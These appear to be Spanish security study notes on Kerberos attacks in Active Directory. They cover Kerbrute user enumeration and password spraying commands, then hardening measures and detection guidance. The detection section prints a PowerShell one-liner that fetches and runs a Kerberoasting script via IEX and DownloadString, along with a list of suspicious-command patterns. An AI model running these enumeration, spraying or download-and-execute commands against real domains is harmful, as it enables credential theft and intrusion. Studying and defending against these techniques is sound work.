b0ysie7e

Appearance

Account Enumeration & Password Spraying con Kerberos ​

Técnica que aprovecha las respuestas diferenciadas del KDC ante un AS-REQ para enumerar usuarios válidos y probar contraseñas, sin generar el evento tradicional 4625 de logon fallido.

Links: Kerbrute | Kerbrute Releases

Contexto técnico ​

Al enviar un AS-REQ sin pre-autenticación, el KDC responde de forma distinta según el estado de la cuenta:

  • KDC_ERR_C_PRINCIPAL_UNKNOWN — El usuario no existe
  • KDC_ERR_PREAUTH_REQUIRED — El usuario existe y requiere pre-autenticación (contraseña correcta o no, esto solo confirma existencia)
  • Éxito / KDC_ERR_PREAUTH_FAILED — Determina si la contraseña es válida

Esto permite enumerar usuarios y probar credenciales enviando un único paquete UDP por intento, lo que lo hace considerablemente más rápido que fuerza bruta contra SMB o LDAP, y evita el evento 4625 (fallo de logon) que sí generan otros métodos.

Instalación de Kerbrute ​

bash
wget https://github.com/ropnop/kerbrute/releases/latest/download/kerbrute_linux_amd64 -O kerbrute
chmod +x ./kerbrute

Enumeración de usuarios ​

Envía AS-REQ sin pre-autenticación para cada usuario en la lista. Si el KDC responde PRINCIPAL_UNKNOWN, el usuario no existe; si pide pre-autenticación, el usuario existe. No incrementa el contador de intentos fallidos, por lo que no bloquea cuentas.

bash
./kerbrute userenum users.txt --dc dc01.domain.local -d domain.local

Genera el evento 4768 en el DC si el logging de Kerberos está habilitado.

Password Spraying ​

Prueba una única contraseña contra una lista de usuarios (fuerza bruta horizontal). A diferencia de la enumeración, sí incrementa el contador de intentos fallidos y puede bloquear cuentas.

bash
./kerbrute passwordspray users.txt <password> --dc dc01.domain.local -d domain.local

Genera los eventos 4768 (solicitud de TGT) y 4771 (fallo de pre-autenticación Kerberos).

Otros modos de Kerbrute ​

bash
# Probar un usuario específico contra una wordlist de contraseñas
./kerbrute bruteuser wordlist.txt <usuario> --dc dc01.domain.local -d domain.local

# Probar combinaciones usuario:contraseña desde archivo o stdin
./kerbrute bruteforce combos.txt --dc dc01.domain.local -d domain.local

Flags útiles ​

  • --dc — IP o hostname del DC (si se omite, se resuelve por DNS)
  • -d / --domain — Dominio completo (ej: domain.local)
  • --delay — Delay en milisegundos entre intentos (fuerza single-thread)
  • --safe — Modo seguro: aborta si detecta una cuenta bloqueada
  • -t / --threads — Número de hilos (default 10)
  • -o / --output — Guardar resultados en archivo
  • -v / --verbose — Loguear fallos y errores

Precaución ​

--safe es recomendable en engagements reales para evitar bloqueos masivos de cuentas. Sin esta flag, un fallo de pre-autenticación cuenta como intento fallido de logon y puede bloquear cuentas según la política de lockout del dominio.

Resumen del flujo ​

  • Instalar el binario de Kerbrute y darle permisos de ejecución
  • Enumerar usuarios válidos con userenum (no bloquea cuentas)
  • Con la lista de usuarios válidos, probar contraseñas comunes con passwordspray (sí puede bloquear cuentas — usar --safe)
  • Revisar los eventos 4768 y 4771 en el DC para correlacionar actividad

Kerberos - Hardening & Mitigaciones ​

Medidas defensivas para reducir el riesgo de los ataques Kerberos cubiertos en este módulo: ASREPRoasting, Kerberoasting, abuso de delegación, Golden/Silver Ticket y Pass-the-Ticket.

Links: STIG Viewer - KRBTGT Reset | New-KrbtgtKeys.ps1 - Microsoft

ASREPRoasting ​

  • No deshabilitar la pre-autenticación Kerberos salvo estricta necesidad (protocolos legacy). Habilitarla en todas las cuentas donde sea posible.
  • Usar algoritmos de cifrado fuertes, migrar de RC4 a AES.
  • Proteger y monitorear cuentas de servicio con contraseñas fuertes y vigilar logs por actividad inusual.

Verificar cuentas con pre-autenticación deshabilitada ​

powershell
Get-ADUser -filter * -properties DoesNotRequirePreAuth | where {$_.DoesNotRequirePreAuth -eq "True" -and $_.Enabled -eq "True"} | select Name

Para corregirlo manualmente: Active Directory Users and Computers → pestaña Account → desmarcar Do not require Kerberos preauthentication.

Kerberoasting ​

  • Usar contraseñas largas y complejas para cuentas de servicio — la complejidad hace exponencialmente más difícil el crackeo offline.
  • Utilizar Group Managed Service Accounts (gMSA), que gestionan y rotan automáticamente las contraseñas cada 30 días por defecto.
  • Limitar los privilegios de las cuentas de servicio (no colocarlas en Domain Admins).
  • Rotar la contraseña de krbtgt al menos cada 180 días. Esto invalida tickets previamente obtenidos por atacantes.

Verificar la última fecha de cambio de krbtgt ​

powershell
Get-ADUser krbtgt -Property PasswordLastSet

Rotación segura de krbtgt ​

Si se rota por motivos de respuesta a incidentes, deben pasar al menos 10 horas entre el primer y segundo cambio, forzando replicación entre ambos. Se recomienda usar la herramienta de Microsoft New-KrbtgtKeys.ps1 para minimizar problemas de autenticación durante la operación.

Abuso de Delegación ​

  • Deshabilitar Unconstrained Delegation donde sea posible.
  • Colocar usuarios y cuentas de servicio sensibles en el grupo Protected Users.
  • Usar el flag Account is sensitive and cannot be delegated en cuentas que no requieran delegación.
  • Aplicar el principio de menor privilegio en permisos, grupos de seguridad y cuentas de servicio/usuario.

Configurar protección contra delegación ​

Active Directory Users and Computers:

  • Agregar la cuenta al grupo Protected Users
  • En las propiedades de la cuenta, marcar Account is sensitive and cannot be delegated

Contexto histórico de los tres tipos de delegación ​

  • Unconstrained (Server 2000-2003) — Existe aún en entornos modernos por razones legacy. Permite que cualquiera con control sobre el servidor use el TGT del usuario autenticado para acceder a cualquier otro recurso como ese usuario.
  • Constrained (introducido en Server 2003) — Limita a qué recursos puede delegar un servicio. Si está mal implementado, sigue siendo vulnerable a los mismos ataques que unconstrained.
  • RBCD (introducido en Server 2012) — Elimina la dependencia de SPNs; el recurso destino define, vía security descriptor, quién puede delegar hacia él.

Golden Ticket ​

  • Implementar un modelo de acceso de menor privilegio.
  • Limitar el número de cuentas admin y usar cuentas separadas no interactivas para tareas administrativas.
  • No exponer servicios como RDP a internet.
  • Usar autenticación multifactor en implementaciones como OWA y VPNs.
  • Endpoint Detection y antivirus ayudan a detectar herramientas como Mimikatz y el uso indebido de TGTs.

Silver Ticket ​

  • Asegurar que las cuentas de servicio tengan contraseñas de 25+ caracteres.
  • Usar Managed Service Accounts con rotación regular de contraseñas.
  • No colocar cuentas de servicio en grupos privilegiados como Domain Admins.
  • Limitar los permisos de las cuentas de servicio a lo estrictamente necesario para funcionar.

Nota: Los Silver Tickets son más difíciles de detectar que los Golden Tickets porque no requieren comunicación con el KDC — los logs quedan únicamente en el host objetivo, no en el DC.

Pass-the-Ticket ​

  • Monitorear eventos de creación y destrucción de procesos.
  • Revisar usuarios que solicitan nuevos TGT/TGS fuera de operaciones normales (antes de que expiren tickets existentes, fuera de reinicios, etc.).
  • Aplicar gestión de identidades privilegiadas (minimizar cuentas admin y su uso).
  • Monitorear pipes con nombre y anónimos usados para interacción directa con el host (herramientas como Pipelist de Sysinternals o Pipe Monitor).

Enfoque general de defensa ​

Enfocar la defensa en un solo ataque específico suele dejar brechas más grandes. Es más efectivo mantener una postura de seguridad integral:

  • Restringir el acceso administrativo sobre hosts y servicios
  • Aplicar y hacer cumplir una política de contraseñas fuerte
  • Implementar autenticación de dos factores
  • Mantener una línea base de procesos y aplicaciones normales en los hosts para poder detectar anomalías

Resumen de mitigaciones por ataque ​

  • ASREPRoasting → Habilitar pre-auth, usar AES, monitorear cuentas de servicio
  • Kerberoasting → Contraseñas fuertes en cuentas de servicio, gMSA, rotar krbtgt cada 180 días
  • Delegación → Protected Users group, deshabilitar unconstrained, principio de menor privilegio
  • Golden/Silver Ticket → Menor privilegio, MFA, EDR, contraseñas largas en cuentas de servicio
  • Pass-the-Ticket → Monitoreo de procesos, gestión de identidades privilegiadas, monitoreo de pipes

Kerberos - Detección de Ataques ​

Estrategias, event IDs y patrones de log para detectar abuso de Kerberos en el entorno: enumeración, roasting, ticket forging y pass-the-ticket.

Links: Events to Monitor - Microsoft | Disabling RC4 - Microsoft Tech Community | AMSI - Microsoft | Pipelist - Sysinternals

Por qué es difícil detectar abuso de Kerberos ​

  • Falta de explotación real — Los ataques Kerberos aprovechan el conocimiento de un secreto para saltarse pasos del protocolo. Cuando se ejecutan correctamente, las solicitudes no tienen nada anómalo salvo el comportamiento, difícil de identificar sin generar falsos positivos.
  • Múltiples fuentes de datos — Los logs de Kerberos existen en el cliente que usa el ticket, en el objetivo con el que se autentica el cliente, y en el Domain Controller. Con múltiples DCs, es casi imposible triage manual sin logging centralizado.
  • Volumen de eventos de login — En un entorno con miles de solicitudes diarias, un TGS sin TGT correlacionado se pierde fácilmente en el ruido.

Establecer una línea base ​

Tener claro qué hosts pertenecen a la red y cuál es la actividad normal facilita detectar desviaciones. Centralizar logs (incluyendo PowerShell) agiliza la identificación de tendencias.

Los eventos de cuentas terminadas en $ (cuentas de máquina, gMSA, trusts) generalmente pueden descartarse del análisis inicial, ya que Windows gestiona automáticamente sus contraseñas largas y aleatorias — el abuso en estas cuentas se manifiesta de forma distinta.

Event IDs clave ​

  • 4624 — Logon exitoso
  • 4634 — Logoff exitoso
  • 4672 — Privilegios especiales asignados a un nuevo logon
  • 4768 — Se solicitó un TGT (Kerberos authentication ticket)
  • 4769 — Se solicitó un TGS (Kerberos service ticket)
  • 4770 — Se renovó un TGS

Event 4624 & 4634 — Logon/Logoff exitoso ​

Qué buscar: Múltiples intentos de autenticación de una o varias cuentas en poco tiempo. Prestar especial atención a 4624 con Logon Type 2-Interactive, 3-Network, o 10-RemoteInteractive, especialmente contra el DC.

Estructura normal esperada:

  • Security ID: DOMAIN\AccountID
  • Account Name: AccountID
  • Account Domain: DOMAIN

Indicadores de Golden/Silver Ticket forjados:

  • El campo Account Domain vacío
  • Contiene el FQDN completo en lugar del nombre corto del dominio
  • Contiene *.*.kiwi: (artefacto de Mimikatz)
  • Account Name no coincide con el Security ID de la cuenta

Los Silver Tickets generan estos logs en el host accedido. Los Golden Tickets se registran directamente en el Domain Controller.

Event 4672 — Privilegios especiales asignados a un nuevo logon ​

Por qué importa: Permite rastrear actividad de cuentas admin, logueando los privilegios asignados.

Qué buscar: Cuentas accediendo a hosts o infraestructura fuera de lo habitual, o recibiendo privilegios que normalmente no tienen. Correlacionar con 4624 para ver el logon asociado.

Events 4768, 4769 & 4770 — Solicitud/renovación de tickets Kerberos ​

Qué buscar:

  • Usuarios con volumen excesivo de eventos
  • Configurar Audit Kerberos Service Ticket Operations bajo Account Logon para loguear solicitudes de TGS exitosas

Query de ejemplo para detectar Kerberoasting ​

  • Event ID 4769
  • Service Name distinto de krbtgt
  • Service Name no termina en $
  • Account Name no coincide con <MachineName>$@<Domain>
  • Failure Code 0x0 (éxito)
  • Ticket Encryption Type 0x17 (RC4-HMAC)
  • Ticket Options 0x40810000

Cifrado (Crypto) ​

Al hacer Kerberoasting, los atacantes suelen solicitar cifrado RC4-HMAC ($23$), el más débil que Active Directory permite, porque acelera el crackeo offline con Hashcat.

  • No se recomienda deshabilitar RC4 por completo — puede romper software legacy y dificultar troubleshooting.
  • En su lugar, configurar AES como método preferido, haciendo que los eventos RC4 sean anómalos y fáciles de triage.
  • Cada solicitud con cifrado RC4 debería investigarse.

Honeypot accounts ​

Crear una cuenta señuelo (honeypot) con SPN, contraseña fuerte, y monitorear su uso junto con solicitudes RC4 puede alertar sobre actividad de un atacante en el entorno. Si RC4 está deshabilitado, el atacante haría Kerberoasting con AES, reduciendo tanto la probabilidad de crackeo como la de detección — el uso de RC4 puede ser, paradójicamente, una ventaja defensiva.

PowerShell Logging ​

  • Habilitar logging de módulos PowerShell (400, 800)
  • Monitorear logs operacionales: 4100, 4103, 4104

Habilitar logging de PowerShell ​

Group Policy Management:

Computer Configuration → Administrative Templates → Windows Components → Windows PowerShell

o

User Configuration → Administrative Templates → Windows Components → Windows PowerShell

Habilitar como mínimo Turn on Module Logging.

Módulos recomendados para loguear ​

  • ActiveDirectory — Import y uso del módulo AD
  • CimCmdlets — Interacciones CIM
  • GroupPolicy — Modificaciones de GPO
  • Microsoft.WSMan.Management — Web services y WinRM
  • NetAdapter/NetConnection — Cmdlets de red
  • PSScheduledJob/ScheduledTasks — Tareas programadas
  • ServerManager — Uso de ServerManager
  • SmbShare — Actividad SMB
  • Microsoft.PowerShell.* — Loguea todos los módulos/cmdlets (útil contra módulos custom del atacante)

Actividad sospechosa a vigilar en PowerShell ​

  • Remote PowerShell — Uso remoto poco común; sospechoso si no viene de administradores conocidos
  • Descargas .NET — (New-Object Net.WebClient).DownloadString es común para bajar herramientas
  • Invoke-Expression / iex — Interpreta y ejecuta strings/variables dinámicamente
  • Comandos codificados — Flags -enc, -E, Encoded ocultan el comando real
  • Invoke-Mimikatz — Cualquier indicio de esto es una señal crítica
  • Invoke-TokenManipulation — Enumera y usa logon tokens de PowerSploit
  • Invoke-CredentialInjection — Crea logons con credenciales en claro sin disparar el evento 4648
  • FromBase64String / Base64 — Ofuscación de comandos
  • Ventanas ocultas — Flags -W, win, window, -WindowStyle Hidden
  • Cambios de Execution Policy — Especialmente a Bypass
  • System.Reflection — Común en logs tras ejecución de Mimikatz

Ejemplo de comando ofuscado sospechoso ​

powershell
powershell.exe -exec Bypass -C "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/EmpireProject/Empire/master/data/module_source/credentials/Invoke-Kerberoast.ps1');Invoke-kerberoast -OutputFormat Hashcat"

Combina -exec Bypass, IEX, descarga remota vía .NET WebClient, y ejecución de un script de Kerberoasting.

AMSI (Anti-Malware Scan Interface) ​

Permite que todo el código de script sea escaneado antes de su ejecución por PowerShell y otros motores de scripting en Windows 10/11, incluyendo código inyectado en memoria. Requiere que la solución antivirus/antimalware soporte AMSI (Microsoft Defender y AVG lo soportan desde mediados de 2016). Es una capa adicional de protección recomendada donde sea posible.

Resumen de detección por tipo de ataque ​

  • ASREPRoasting/Kerberoasting → Event 4769, encriptación RC4 $23$, honeypot accounts
  • Golden Ticket → Event 4624/4768 en el DC, Account Domain vacío o con FQDN completo
  • Silver Ticket → Mismos indicadores pero en el host accedido, no en el DC
  • Pass-the-Ticket → Monitoreo de procesos, pipes, TGT/TGS fuera de patrones normales
  • Herramientas ofensivas (Rubeus, Mimikatz) → PowerShell logging, AMSI, patrones de comandos ofuscados